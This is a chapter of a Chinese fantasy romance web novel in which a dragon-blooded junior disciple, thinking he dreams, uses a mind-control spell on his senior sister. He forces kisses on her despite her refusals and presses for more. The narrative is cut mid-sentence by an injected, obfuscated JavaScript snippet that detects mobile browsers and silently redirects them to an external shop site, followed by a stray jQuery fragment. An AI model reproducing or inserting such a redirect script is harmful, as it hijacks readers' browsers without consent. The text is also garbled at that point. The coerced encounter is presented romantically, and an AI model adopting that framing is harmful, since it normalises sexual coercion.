沈倾雪望着他发间的那一抹蓝,指尖绽开一点流光,将要分出一缕神识钻入他神魂深处。
可她想了想,又开始犹豫,最后还是放弃了这个念头,并未真的动手。
诚然,这确实是一个不错的法子,能快速寻到苏景裕不正常的缘由——但风险也十分大,稍有不慎,他们两个人都可能受伤。
悬在半空的手往下落去,不小心碰到他发带的末端,发带上头绣有银线织成的暗纹,样式是游走的飞龙。
苏景裕屋子里的一应摆设瞧着简易朴素,但他这人全身上下都透着一股低调的奢华,是条精致的小龙。
沈倾雪指腹摩挲着凹凸不平的纹路,不禁出了神,半晌后又觉得不能这样糊里糊涂跟他拖延下去,松开他的发带。
不远处,乖巧匍匐身躯的黑龙冲她殷勤地晃了晃脑袋,此界的风雪未有一丝停歇。
她做出决定,打算豁出去一回,大着胆子开口问:“小师弟,六月十五是什么日子?”
苏景裕如果还是真的,那听到这话,定会跟方才在大街上一般,无端大发脾气,但照系统的说法,不至于对她动手。
如果是假的,眼前这人没什么反应的话,她就要想想脱身的法子,不论这假的苏景裕境界几何,脖子上的心羽都能在危急关头保她一命。
豁出去了!
闻言,伏在她怀里的人没有一点动静,过了好一会儿,那声音才慢吞吞传进他的脑子里。
苏景裕的思绪极为迟缓,缓慢睁开眼,纤长的睫毛扫过她颈上柔嫩的肌肤,唇无意蹭过,冰凉的触感让她难以抑制地抖了一下。
“你忘了?”他微微仰起头,张口咬住她的一只耳坠子,很快便将它取了下来,被扫过来的龙尾巴卷走。
被他碰到的地方很快变得发烫,浑身莫名泛出难耐的热意,从脖子到耳后的肌肤,近乎红得不成样子。
沈倾雪觉得有湿热滚烫的羽毛在一下又一下轻撩颈间的肌肤,细密的痒带起战栗。
她想逃离,却没有丝毫退路,掐住她腰身的那只大手死死封住她的去路。
见他似乎想要故技重施,又用同样的法子取走她另一边的耳坠,沈倾雪忍不住伸手捉住他的脸,制住他的动作,飞快将耳坠子取下来递到他手上。
苏景裕愣了愣,接过耳坠子,便丢给龙尾卷走,他心满意足开口,语气平静地同她解释:“是我的生辰。五岁那年,也是这一日,我的父君给我递来一碗毒药,整座宫殿,也许没有人不想杀我。小师姐,这样的我,是不是很可怜啊?”
说最后一句话时,他用自己的脸轻轻蹭她的手心,这副样子她在那条黑龙身上见过,简直如出一辙。
沈倾雪颤颤地抽回了手,垂眸沉思。
怪不得那日,苏景裕虽然根本不怕毒,却一直在怀疑她,反应还那么大。
那她那日端给他的那碗甜汤,他到底是不喜欢吃甜的随手倒掉了,还是发现了汤里下的毒,早便怀疑上她,一直暗中观察……
沈倾雪背后沁出细密的冷汗,止不住发抖,她居然还能在他面前活蹦乱跳这么久,真是老天保佑。
不过……虽然苏景裕大概是真的,但怎么想他现在都很有问题吧?
没听到该有的回应,少年的手轻轻捏住她后颈上的一块肉,面无表情地重复一遍,带着不易察觉的固执:“小师姐,这样的我不可怜么?”
“嗯嗯!你别掐我,会痛的!”沈倾雪吓得连忙点头,又急匆匆摇头,脑子乱糟糟的,被塞满了事,分出一点心神来回他,“也不对,其实你很厉害,可怜这个字眼,光听着就很难过……总之,我不是故意提起来的,对不起,你就原谅我吧?”
“沈倾雪。”
他抬头看她,突然叫她的名字,口中慢条斯理挤出那三个字,字正腔圆地念出来,仿佛能拾起一点直视她的勇气。
苏景裕终于抬头看她。
那双定定凝望她面容的眼眸,深黑而没有一丝光亮,藏着无尽的疲倦与厌弃。
他一头乌黑的发因方才在她怀里乱拱乱蹭,变得凌乱,几缕碎发落下,显得他越发颓丧,好似下一刻便会消失不见,对这人世没有任何留恋。
她循着视线望进他的眸中,又想起来梦里那个杀人不眨眼的魔头,苏景裕将来会变成的那副样子。
沈倾雪忽然慌了,心像被什么紧紧掐住,涌出阵阵的酸涩,舌尖泛着苦味。
她有意无意避开他的视线,推他的肩膀:“苏景裕,你先把我放开,这样我……”
苏景裕发出一声似有若无的叹息,松开她的脖子,手往下,托着她的腰身将人抱举起来。
他半张脸贴到她的心口,去听她的心跳,露出的另半张脸微微泛红,那颗泪痣如同滴在雪地的一滴血,衬得他这张少年意气的脸过分妖冶,不似凡人。
苏景裕眼底涌上一丝慵懒的病态与深欲,却又很快沉下去,他什么也没说,只是很用力很用力地收紧双臂,牢牢抱住她。
被他压住心口时,沈倾雪强迫自己忽视他覆压而来的力道,盯着肆虐的风雪和任劳任怨守在一旁的黑龙放空思绪。
再也不会有更让她天崩地裂的事了吧,反正他似乎没有往那个地方想,也没有做什么。
贴一下而已,只要把他当成冲她撒娇卖乖的某个师妹,她就能泰然处之。
可面庞的热意不散,越来越红,她体内的血快要变得滚烫。
不管再怎么说,今日过去之后,苏景裕也是一个身量比她还高的成年男子了。
可没多久,她就能感到他修长的手指隔着衣裳在描摹她的肋骨,一点一点往上,想要触碰她的心脏。
沈倾雪感到六神无主,无措极了,胡乱捉住他的手,心跳得飞快。
“不能摸?”他语气里带着浓浓的失落,说话时,连气息也变得湿热黏连。
她头皮都要炸开:“当然不能!”
苏景裕闻言,静静想了想,才乖顺地放下手,似笑也似讥讽:“看看吧,你从来都不愿可怜任何一个人,离你越近,越能感到要走到你这里会是多么遥远。此时此刻,也是随手给予我的一点施舍么?”
“我当然是认真道歉的,你觉得口头上说的不算?那你想要什么样的赔礼?”她摸不透他的想法,这家伙不说人话时,还真是让人头疼,“在我能力范围内,我都会尽力满足你,让你开心一回。”
谁让她多嘴,提了一句十五月圆这话呢?别的还好,生身父亲在生辰那日要毒杀自己——她光是想想,都觉得痛苦难当。
系统说的没错,苏景裕这人的过去一定很惨,才会养成这副性子。
没事没事,哄好就行,哄好就能回客栈睡觉了。
沈倾雪如是想。
她放缓语调,轻声细语地道:“你就原谅我吧,别生气了?”
她看向自己的眼神,带着点怜悯与纵容,令苏景裕感到心口隐隐作痛,他似乎回到那日,她也是这般平和的神态,看着他温和地笑着,同他一句一句聊着,直至阖眼。
没有一丝留恋,也没有一点不甘,到最后却任性地剥夺他就此解脱的机会。
他快要被撕裂成两半,一半在抗拒,一半甘愿沉沦,苏景裕喃喃自语:“也是……一个梦而已……既是施舍,不如痛快接受,何必要放手?”
“小师姐。”他放开她,一个字一个字念。
终于解脱了!
沈倾雪长长松了口气,刚刚被他抱着,她甚至不敢太用力呼吸,这会儿紧绷的身子才得以松懈下来,大口呼吸:“你想要什么?”
接下来就是等他说出自己的心愿,她再大手一挥,果断答应,今日的事就此揭过,两个人顺顺利利回到万宝楼!
“这应当是一场春.梦,我早该承认的。”苏景裕看她的眼神称得上坦荡,语气也十分理所当然。
沈倾雪差点惊掉下巴,以为自己听错了:“你说什么?什么梦?我没做梦啊——”
他说了什么惊世骇俗的话?!
不安分的龙尾巴不受控制攀上她的脚踝,冰凉的触感让她一个激灵,要不是被他牢牢锁住,她都能直接蹦起来。
她拼命拉开跟他的距离,满脸抗拒:“不不不可能!就算是,你也不可能梦到我啊!”
所以,苏景裕以为他现在在做梦,才会这么神神叨叨,举止怪异?
可当务之急是要阻止他这个可怕的念头!他想干什么?!谁来救救她!
沈倾雪说得磕磕绊绊,用力摇头,忍不住去掰他的尾巴:“你之前说过,要是我不喜欢你,哪怕拔鳞剜肉,也不会叫我帮忙,快把尾巴收回去!你才不会跟我梦到这种梦,再说了,我清醒着呢,根本不是在梦里。你快放开我!”
那日难受的滋味,她绝对不想再体验一次!
苏景裕眨眨眼,对她的话充耳不闻,任由压下的欲念重新生长,在他全身扎根,长成参天大树。
很快,他便不由自主轻喘出声,绯色爬上他裸.露在外的肌肤:“小师姐,你要帮我的。”
“不、不帮——我还不喜欢你,你根本不需要我帮你,我什么都不会!”
这未免也太可怕了!
他怎么能用这张脸露出这种表情?!声音低沉蛊惑,眼尾泛红,眸中翻涌着不再掩饰的情欲。
想用这种法子吓死她么?
太可怕了,快把白日里的那个苏景裕还给她!
苏景裕勾起唇角,轻笑一声,他扣住她的肩膀,手往上,虎口卡在她的下颔处,半掐半托地捧起她的脸,强迫她牢牢盯着他的眼睛。
沈倾雪挣了下,根本挣不开,避无可避。
她望见他漆黑的眼瞳颤了颤,转瞬被冷霜覆盖,有一朵雪花在其中绽开,瞳孔中心的那根竖线像一根锋利的冰刺。
她清醒的意识变得遥远,只能看见他嘴唇翕张,声音慢慢传过来:“我教你说,‘我喜欢你’。”
其实他根本没有开口,那声音是直直传到脑子里的,教人恍如梦中,思绪脱离控制。
“我……”沈倾雪发现自己的身体完全不受自己控制,心底直打鼓,嘴巴自动张合,“我、我喜欢你——”
最后一口气被堵住,压回喉咙里,断成一声急促的惊呼。
她近乎是睁大眼睛,一脸呆滞地看着他近在咫尺的脸。
唇瓣被冰冷而灼热的气息封住,循着开口说话的那一点缝隙,有什么东西像一尾灵活的鱼游了进来,轻易占据上风。
他手卡住她的下巴,令她只能张开唇,承受他粗鲁无礼的舔吻,舔进里头,勾住舌尖吮吸,贪婪地交换津液。
好苦!
他吃了什么东西,苦成这样,苦得她整张脸都皱起,一下便从他蛊惑人心的术法里清醒。
沈倾雪回过神后,本能地挣扎,想要逃离深溺的海底。可他任由她手捶在他身上,不躲不避,只是不管她用多大力气,掐她脸的那只手都纹丝不动,舌头长驱直入,快要顶入她的咽喉。
眼角沁出几滴泪花,她试图将他过分的唇舌推出去,可又狠不下心去咬,你来我往的拉扯下被他卷住舌尖,含进唇间用力地吮舔,她整个人都被吻得瑟瑟发抖。
鼻腔一下子被他的气息占据,那如冰霜寒冷的气混着浓重的欲,甚至顺着气管,要往体内扎根而去,一寸一寸侵蚀她。
陌生的感觉侵蚀着她,沈倾雪无所适从,仿佛快要哭出来。
捧着她脸的手掌终于松开,往后压着她的后脑勺,力道不重,却如同揪住她的命门,令她全无反抗的力气,忘记挣扎。
她被彻底缠住,只能与他贴合在一起,唇齿相依。
她睁开眼,触及到他放纵而没有丝毫保留的视线,又飞快闭上。
凌乱的发,充满掠夺的眼神,以及那颗称得上妖冶的泪痣。
她从没见过他这模样。
那日在寒潭里,他的眼神都没有此刻这般,直勾勾的,仿佛要勾走她的魂。
苏景裕从喉咙里滚出一阵愉快的笑音,胸腔振动,快要震出她的心。
她觉得手心在发汗,变得滚烫,其实她已经无法确定自己是在什么时候觉得热的。
也许,他亲上来的那一刻,在那天崩地裂的瞬间,她便被抛进一口热锅,反复煎炸,不得自由。
直到她快要憋气到窒息,苏景裕才大发慈悲地松开了她,眼底欲求不满,带着慵懒的笑意,勾勾缠缠地道:“小师姐,你吃了糖,是甜的。”
沈倾雪得了自由,慌乱逃离,大口喘气,动作幅度之大险些从树上跌下去。
那条龙尾巴从她裙摆下及时抽出来,牢牢圈住她的腰身。
苏景裕伸手来扶正她的身子,让她能稳稳坐在树上,一手撩起她一缕发丝拿在手里把玩,唇凑在她耳畔,呼出湿润的热气,轻轻喘息,同她没什么诚意的道歉:“小师姐,我第一次亲人,不太会,你要耐心点教我。一次不行,还有第二次、第三次……”
别凑过来了!
她恶狠狠瞪了他一眼,把他的脸往外推,却说不出什么话。
被亲到无法招架,也许没那么大不了的,他力气本来就比自己大很多,那样凶狠粗鲁的吻几乎能在瞬间夺去她的呼吸。
可她怎么会任由他胡作非为,甚至想,他就算再亲上来,她也拒绝不了。
她手脚俱全,也没被什么法器束缚住,只要她想,实在推不开,大不了一脚踹上去……
可似乎都被收买了。
连那一刻的心神,都不属于自己。
沈倾雪想说什么:“你怎么能突然——”
话没落,他又贴了上来,张口咬住她微翘的唇,含进嘴里,大口舔咬,发出吞吃的水渍声。
她耳畔嗡嗡作响,什么都想不了,什么都不愿去想。
他的唇跟他总是气冲冲的语气完全不一样,亲起来其实很舒服,是软的。
吻在最开始如同一阵急雨掠下,叩开唇齿,适应之后,变成了绵密的细雨,柔和细腻得不像他的性子。
她不敢看他的眼睛,火燎似的。
那双眼好似能穿透她的灵魂,直达她最为隐秘幽深的心底。
整个人都要被他完全占据。
虽然她还不太清楚,这家伙到底什么情况,可从刚才的试探来看,旁人假冒苏景裕的可能性低到可以忽略不计。
他到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763873|206989||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
底要干什么?
她分神的一刹那,感到唇上吃痛。
是他用力咬了她一口。
沈倾雪发出一声短促的呜声,他便轻缓了动作,去找她唇上的口子,循着血珠的气息,细密地舔,安抚她不安的心。
他似乎找到了技巧,没再横冲直撞将舌头顶进去,和风细雨地去吻她。
沈倾雪被亲得浑身发抖,一点力气也没有,这样温柔的吻更教她慌乱,她快要陷进去了。
好在这个吻很快便结束,他在她的脸颊上亲了一口,便慢慢放开了她。
她抬手摸了摸被咬破的地方,这点口子睡一觉就好了,咬得也不是很重。
沈倾雪望见他眸中自己的模样,垂着头,耳朵红了个遍,羞愧难当。
苏景裕伸手去摸她唇上的伤口,被她避开,眼神幽幽问:“很疼?”
她现在不想听他嘴里的任何话,一把拽过他,伏在他肩头,用脑门狠狠捶了他几下。
沈倾雪想,自己简直是脑子被门夹了,才会担心他出事,到这破海上来找他!
结果就是被糊里糊涂亲了,还是两回!
卑鄙无耻!无礼至极!
她闷闷地说:“你把手伸出来。”
“嗯?”苏景裕不明所以,但还是依言照做,贴心地将鳞片收了,露出一截白净的小臂。
沈倾雪瞥他一眼,鼓起勇气,抓住他的手臂,低头,在上头毫不留情咬了一口,快要见血才放开,留下深深的齿印。
用法术太容易被他察觉异样,直接咬来得痛快,谁让他刚刚咬她的!她可从来不吃亏。
苏景裕觉得新奇,淡笑着看她,还帮她撩开碍事的头发,手抚上她的脖颈,慢慢抚摸:“可以再咬深一点,这种程度半日就会好……不对,其实梦醒后,就会不见了……哈,人总是喜欢用一些虚假的东西来麻痹自己,我也很难例外……”
他说这句话的语气,透着淡淡的悲哀。
装可怜骗她呢?
她绝对不会被他这副皮囊骗到。
苏景裕的手往下,挑住她的肩带,摩挲两下,客客气气地询问她:“可以解开么?”
“当然不可以!”她立刻捂住自己的领口,避开他过分的动作,险些摔下树去,尾巴想来扶她,也被她踢开,她这会儿简直草木皆兵,“你快把我送出去,我要走了,你也快点醒来吧。”
她怕再呆下去,他真的会解她的衣裳。
“不能多留一会儿?”
沈倾雪止不住摇头。
“那就……明晚见。”苏景裕怅然若失,缓缓闭上眼,不远处的黑龙也化为一道光融入他眉心。
整个法域开始坍塌,沈倾雪发现就在他闭上眼的那刻,他的生息也迅速虚弱起来,连呼吸和脉搏都停了。
苏景裕身子往后倒,径直从树上摔下去。
她赶忙伸手去抓他,却抓了个空,追着他一起往下落。
雪地变得模糊,地面开裂,四周的景象逐渐消散,他们身下似乎是一个看不见尽头的深渊。
“扶摇!”沈倾雪大喊一声。
飒飒长剑骤然显出,如一道闪电卷住下坠的苏景裕,延缓他坠落的速度。
沈倾雪趁机一把抱住他,借着扶摇张开的结界带着人往下落。
没一会儿,法域彻底消失,二人出现在海面上,直接砸进海里,激起一丈高的水花。
此时正值盛夏,海面的水被日复一日晒着,水是温热的,沉入海水后并不觉得冰冷。
可苏景裕依旧没醒,沈倾雪一面拉住昏迷的他,不教他往水底沉去,一面警惕着水下蠢蠢欲动的海兽,靠着扶摇开路,花了好大功夫才拖着昏迷不醒的人游上岸。
她呛了好几口水,一上岸便咳嗽不止,两人衣发湿透,好不狼狈。
没多久,苏景裕猛地睁开眼,涣散的眼瞳映着繁星漫天的夜空,缓缓聚焦。
他转动脑袋,瞥见她时眼底浮现出一丝意外的神色,声音沙哑:“你……来寻我,为何?”
沈倾雪本来在拧袖子的水,听他这话,想起要快点确认他的身份,果断拽起他的手,扯开袖子,赫然看见在他手臂一模一样的位置有圈牙印。
装的?看着不像装的。
她不由得蹙起眉,狐疑问:“我当然是来找你,不然大半夜我来海里喂鱼么?你什么也不说就走得无影无踪,平白无故去海里做什么?害得我担心,你知不知道生闷气容易变老变丑?”
“……海里有东西。”苏景裕手撑着地面坐起来,糊了一手的沙砾,心情差到极点,语气冰冷,“小师姐想要兴师问罪?我可没叫你来找我。”
她无视他不客气的语气,更关心他前半句话:“海里有什么东西?”
“很奇怪的一枚茧,至少八境,我受了暗算,往后的事不太清楚,但足够杀了那个暗算我的人。”
“可你身上没有伤……”她保持怀疑,“你还有空换了件衣裳。”
“衣裳是龙鳞幻化的。”
苏景裕云淡风轻地解开衣裳,毫不避讳她的视线,又不是没看过。
他扯下领口,露出半边身子,肩上的伤口瞧着已快结痂,只一点血渗出,便问她:“伤得这么轻?我昏迷了几日?”
几日?
沈倾雪抬头望天,默默估算着,道:“距我们分开,也只过去了两个时辰吧?你什么都不记得了?”
“我连偷袭我的人都没看见……当然,他活不了了。”
苏景裕摇了摇头,注意到她嘴角的一点血,又看了看小臂上的牙印:“你咬我?”
“怎么会?我费了这么大劲才把你从海底捞起来,你还怀疑我?!恩将仇报!”沈倾雪脸不红心不跳地摇头否认,将问题抛回给他。
“那这里是怎么回事?若是没有咬我,怎么会有血?”他指了指她的嘴巴。
被海水一泡,这口子居然又扯开点。
沈倾雪舔了舔嘴角的血,随口回:“我不小心咬到了。”
看起来,他们虽然是“同一个人”,都叫苏景裕,也都认识她,但似乎并不知晓彼此的存在。
“真的?”
沈倾雪半搭着眼皮,懒洋洋地呵一声,一字一顿:“哦,骗你的,其实是被、狗、咬、的!”
他总觉得这句话暗含怒火,有种迁怒他的意味:“狗?”
“问这么清楚做什么?出门在外哪有不吃亏的,遇上一个莫名其妙的人,被突然压着咬一口,也不是不可能。”沈倾雪实在没心思计较这件事,亲都亲了,难不成把眼前的苏景裕劈头盖脸一顿骂?又不是他的错。
苏景裕口中的这枚“八境茧”,还有他这一会儿两个样的情况才更让她在意。
苏景裕盯着她唇上的血,非要刨根问底:“谁?”
“你想做什么?”
“难不成你想留他一命?”
这下轮到沈倾雪哑口无言了,她斟酌了一下字句:“……我觉得你打不赢他,他开了法域,至少七境。”
苏景裕抿唇不语,脸上的神色越发冷沉,他凑近来嗅嗅她身上的气味:“可你身上只有……我的气息?还有……一个凡人?”